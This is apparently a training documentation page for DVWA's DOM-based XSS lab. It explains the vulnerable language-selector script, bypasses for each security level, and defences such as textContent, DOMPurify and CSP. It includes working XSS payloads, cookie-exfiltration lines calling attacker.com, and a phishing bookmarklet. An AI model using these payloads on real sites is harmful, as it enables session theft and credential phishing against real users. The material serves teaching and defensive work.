Documentation Index
Fetch the complete documentation index at: https://mintlify.com/digininja/DVWA/llms.txt
Use this file to discover all available pages before exploring further.
Overview
DOM-based Cross-Site Scripting (XSS) is a type of XSS vulnerability where the attack payload is executed as a result of modifying the DOM environment in the victim’s browser. Unlike Reflected and Stored XSS, the malicious payload may never reach the server - the vulnerability exists entirely in the client-side JavaScript code.
Key Characteristic: The vulnerability is in client-side JavaScript that processes user-controlled data (often from the URL) and writes it to the DOM without proper sanitization.
How DOM-based XSS Differs from Other XSS Types
| Feature | DOM-based XSS | Reflected XSS | Stored XSS |
|---|
| Execution Location | Client-side only | Server reflects to client | Server stores, retrieves, sends to client |
| Server Processing | May not reach server | Processed by server | Stored by server |
| Payload Location | URL (often fragment #) | URL query parameters | Database |
| Detection Difficulty | Hardest (client-side) | Moderate | Easier (in database) |
| WAF Protection | Limited (bypass server) | Effective | Effective |
| Code Review Target | JavaScript | Server-side code | Server-side code |
| Attack Vector | Malicious URL with fragment | Malicious URL | Direct input to app |
What Makes DOM XSS Unique:
- The server response might be completely safe
- The vulnerability is in how JavaScript handles the URL
- URL fragments (
#hash) never get sent to the server
- Traditional server-side XSS filters won’t catch it
- Requires JavaScript code review, not just server code
Vulnerability Objective
Goal: Run your own JavaScript in another user’s browser to steal the cookie of a logged-in user, leveraging client-side DOM manipulation.
Application Context
DVWA’s DOM XSS module implements a language selector that uses JavaScript to read from the URL and dynamically populate a dropdown menu.
The Vulnerable JavaScript (xss_d/index.php:50-61):
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
```bash
**The Vulnerability**:
- Line 52: Extracts everything after `default=` from the URL
- Line 53: Writes it directly into HTML using `document.write()`
- No sanitization or validation of the `lang` variable
## Security Level Analysis
### Low Security
The low security level has **no protection** at all - the server-side code is essentially empty.
**Server-side Code** (`xss_d/source/low.php`):
```php
<?php
# No protections, anything goes
?>
Vulnerability: The entire vulnerability is in the client-side JavaScript (shown above). The server does nothing to validate or sanitize input.
Exploitation:
- Basic Alert:
/vulnerabilities/xss_d/?default=English<script>alert(1)</script>
- Cookie Theft:
/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>
- Cookie Exfiltration:
/vulnerabilities/xss_d/?default=English<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
How It Works:
// URL: ?default=English<script>alert(1)</script>
// Extracted value:
var lang = "English<script>alert(1)</script>";
// Written to DOM:
document.write("<option value='English<script>alert(1)</script>'>" +
decodeURI("English<script>alert(1)</script>") +
"</option>");
// Browser renders and executes the <script> tag
```bash
---
### Medium Security
The medium level adds **server-side validation** to block `<script>` tags.
**Server-side Code** (`xss_d/source/medium.php:4-11`):
```php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
Protection: If the URL parameter contains <script, the server redirects to a safe default.
Vulnerability:
- The check is case-insensitive (
stripos) but only checks for <script
- HTML event handlers are not blocked
- The client-side JavaScript still has the vulnerability
Bypass Techniques:
- Break Out of the Select Tag (Primary Method):
?default=English></option></select><img src=x onerror=alert(1)>
Explanation:
English</option></select> closes the current option and select tags
<img src=x onerror=alert(1)> injects a new image tag with JavaScript event
- No
<script tag, so bypasses server filter
- SVG with onload:
?default=English></option></select><svg/onload=alert(1)>
- Body Tag:
?default=English></option></select><body onload=alert(document.cookie)>
Generated HTML:
<select name="default">
<option value='English</option></select><img src=x onerror=alert(1)>'>
English</option></select><img src=x onerror=alert(1)>
</option>
<!-- Script executes here -->
</select>
```bash
---
### High Security
The high level implements a **whitelist approach** on the server side.
**Server-side Code** (`xss_d/source/high.php:4-18`):
```php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
Protection: Only allows exact matches of four language names. Any other value triggers a redirect.
Vulnerability: The protection only checks the query parameter (?default=), but URL fragments (#hash) are processed by JavaScript but never sent to the server.
Bypass Using URL Fragment:
/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
How It Works:
- Server sees
?default=English (valid, allowed)
- Browser loads the page normally
- JavaScript reads full URL including fragment:
English#<script>alert(1)</script>
- The
document.location.href.indexOf("default=") still finds the parameter
- Extracts everything after
default=, including the fragment
- Injects and executes the script
The JavaScript Flaw:
// document.location.href contains the fragment
var url = "http://dvwa.local/xss_d/?default=English#<script>alert(1)</script>";
var lang = url.substring(url.indexOf("default=")+8);
// lang = "English#<script>alert(1)</script>"
```text
**Alternative Payloads**:
```text
?default=English#<img src=x onerror=alert(1)>
?default=English#<svg/onload=alert(document.cookie)>
?default=English#<body onload=fetch('http://attacker.com/steal?c='+document.cookie)>
Impossible Security (Secure Implementation)
The impossible level fixes the vulnerability by removing decodeURI() and relying on browser auto-encoding.
Server-side Code (xss_d/source/impossible.php):
<?php
# Don't need to do anything, protection handled on the client side
?>
Client-side Fix (xss_d/index.php:34-38):
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
```javascript
This changes the JavaScript to:
```javascript
// BEFORE (vulnerable):
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
// AFTER (secure):
document.write("<option value='" + lang + "'>" + lang + "</option>");
Why This Works:
- Modern browsers automatically encode special characters in URLs
< becomes %3C
> becomes %3E
- Without
decodeURI(), these stay encoded
%3Cscript%3E is rendered as text, not executed
Example:
// URL: ?default=English<script>alert(1)</script>
// Browser encodes to: ?default=English%3Cscript%3Ealert(1)%3C%2Fscript%3E
// JavaScript extracts:
var lang = "English%3Cscript%3Ealert(1)%3C%2Fscript%3E";
// Written to DOM (no decodeURI):
<option value='English%3Cscript%3Ealert(1)%3C%2Fscript%3E'>
English%3Cscript%3Ealert(1)%3C%2Fscript%3E
</option>
// Displayed as plain text, not executed
```bash
---
## Attack Scenarios
### Scenario 1: Bypassing WAF with Fragment
Many Web Application Firewalls (WAFs) only inspect **server requests**, not client-side JavaScript.
**Attack Flow**:
-
Attacker creates URL:
http://dvwa.local/xss_d/?default=English#
-
WAF inspects request to server:
GET /xss_d/?default=English
✓ Passes WAF (English is valid)
-
Browser receives clean response
-
JavaScript executes:
- Reads full URL (including #fragment)
- Extracts and injects payload
- Executes attacker’s script
-
Cookie sent to attacker without server ever seeing the payload
### Scenario 2: Social Engineering with Shortened URLs
Attacker uses URL shortener to hide malicious payload:
Original: http://dvwa.local/xss_d/?default=English#
Shortened: https://bit.ly/abc123
Phishing email:
“Check out this language setting: https://bit.ly/abc123”
Victim doesn't see the malicious fragment until it's too late.
### Scenario 3: Persistent Phishing via Bookmarklet
```javascript
// Attacker tricks user into bookmarking:
javascript:document.location='http://dvwa.local/xss_d/?default=English#<script>document.body.innerHTML="<h1>Session Expired</h1><form action=\'http://attacker.com/phish\' method=\'POST\'>Username: <input name=\'u\'><br>Password: <input name=\'p\' type=\'password\'><br><input type=\'submit\'></form>"</script>'
Every time the user clicks the bookmark, they see a fake login form.
Dangerous JavaScript Patterns
1. Unsafe DOM Manipulation
Vulnerable:
// Reading from URL
var input = document.location.href;
var param = new URLSearchParams(window.location.search).get('q');
var hash = document.location.hash;
// Writing to DOM
document.write(input);
element.innerHTML = param;
eval(hash);
```javascript
**Safe**:
```javascript
// Reading from URL (same)
var input = document.location.href;
// Safe writing to DOM
element.textContent = input; // Auto-escapes
element.setAttribute('data-value', input); // Safe for attributes
// Or sanitize first
var safe = DOMPurify.sanitize(input);
element.innerHTML = safe;
2. Dangerous Functions
These functions can execute code from strings:
eval(userInput);
setTimeout(userInput, 100);
setInterval(userInput, 100);
Function(userInput)();
new Function(userInput)();
```bash
### 3. Unsafe URL Parsing
**Vulnerable**:
```javascript
// Manual parsing
var lang = document.location.href.substring(
document.location.href.indexOf("default=")+8
);
Safe:
// Use URL API
var params = new URLSearchParams(window.location.search);
var lang = params.get('default');
// Then validate
var allowedLangs = ['English', 'French', 'German', 'Spanish'];
if (allowedLangs.includes(lang)) {
// Safe to use
}
```bash
---
## Proper Defenses
### 1. Use Safe DOM APIs
```javascript
// NEVER use these with user input:
document.write(userInput); ❌
element.innerHTML = userInput; ❌
eval(userInput); ❌
// ALWAYS use these instead:
element.textContent = userInput; ✓
element.setAttribute('value', userInput); ✓ (for attributes)
// Use a library like DOMPurify
var clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: []
});
element.innerHTML = clean;
```bash
### 3. Content Security Policy (CSP)
```html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
Blocks:
- Inline scripts (including injected ones)
eval() and similar functions
- Scripts from external domains
4. Avoid URL Fragments for Data
// BAD: Using hash for data
var data = window.location.hash.substr(1);
// GOOD: Use sessionStorage or POST data
sessionStorage.setItem('language', 'English');
var data = sessionStorage.getItem('language');
```bash
### 5. Whitelist Validation
```javascript
var lang = params.get('default');
var allowed = ['English', 'French', 'German', 'Spanish'];
if (!allowed.includes(lang)) {
lang = 'English'; // Default
}
// Now safe to use
element.textContent = lang;
Testing for DOM XSS
Manual Testing Steps
-
Identify Sources (where user input comes from):
document.location.*
window.location.*
document.URL
document.referrer
window.name
postMessage data
-
Identify Sinks (dangerous functions):
document.write()
element.innerHTML
eval()
setTimeout() / setInterval() with strings
location.href = userInput
-
Test Payloads:
?param=<img src=x onerror=alert(1)>
?param=javascript:alert(1)
#<script>alert(1)</script>
Automated Testing
Use browser DevTools to trace data flow:
// Set breakpoint on dangerous functions
document.write = function(x) {
console.trace('document.write called with:', x);
// Original function here
};
```bash
---
## Code Reference
Source files: `vulnerabilities/xss_d/source/`
- Low: `low.php` (empty - vulnerability in JS)
- Medium: `medium.php:4-11` (blocks `<script`)
- High: `high.php:6-17` (whitelist validation)
- Impossible: `impossible.php` (removes `decodeURI()`)
Vulnerable JavaScript: `xss_d/index.php:50-61`
Impossible fix: `xss_d/index.php:34-38`
---
## Key Takeaways
1. **DOM XSS lives in client-side JavaScript**, not server code
2. **URL fragments (`#hash`) never reach the server** - perfect for bypassing WAFs
3. **Server-side filters are ineffective** against pure DOM XSS
4. **Avoid dangerous functions**: `document.write()`, `innerHTML`, `eval()`
5. **Use safe alternatives**: `textContent`, `setAttribute()`, proper encoding
6. **Don't decode unnecessarily**: `decodeURI()` can enable attacks
7. **Whitelist validation** is better than blacklist filtering
8. **CSP blocks inline scripts** - powerful defense layer
9. **Code review JavaScript** as carefully as server-side code
10. **Use modern APIs**: `URLSearchParams`, `DOMPurify`, safe DOM methods
## Related Vulnerabilities
- [Reflected XSS](/vulnerabilities/xss-reflected) - Server-side reflected XSS
- [Stored XSS](/vulnerabilities/xss-stored) - Persistent XSS in database
- [Content Security Policy (CSP)](/vulnerabilities/csp) - Defense mechanism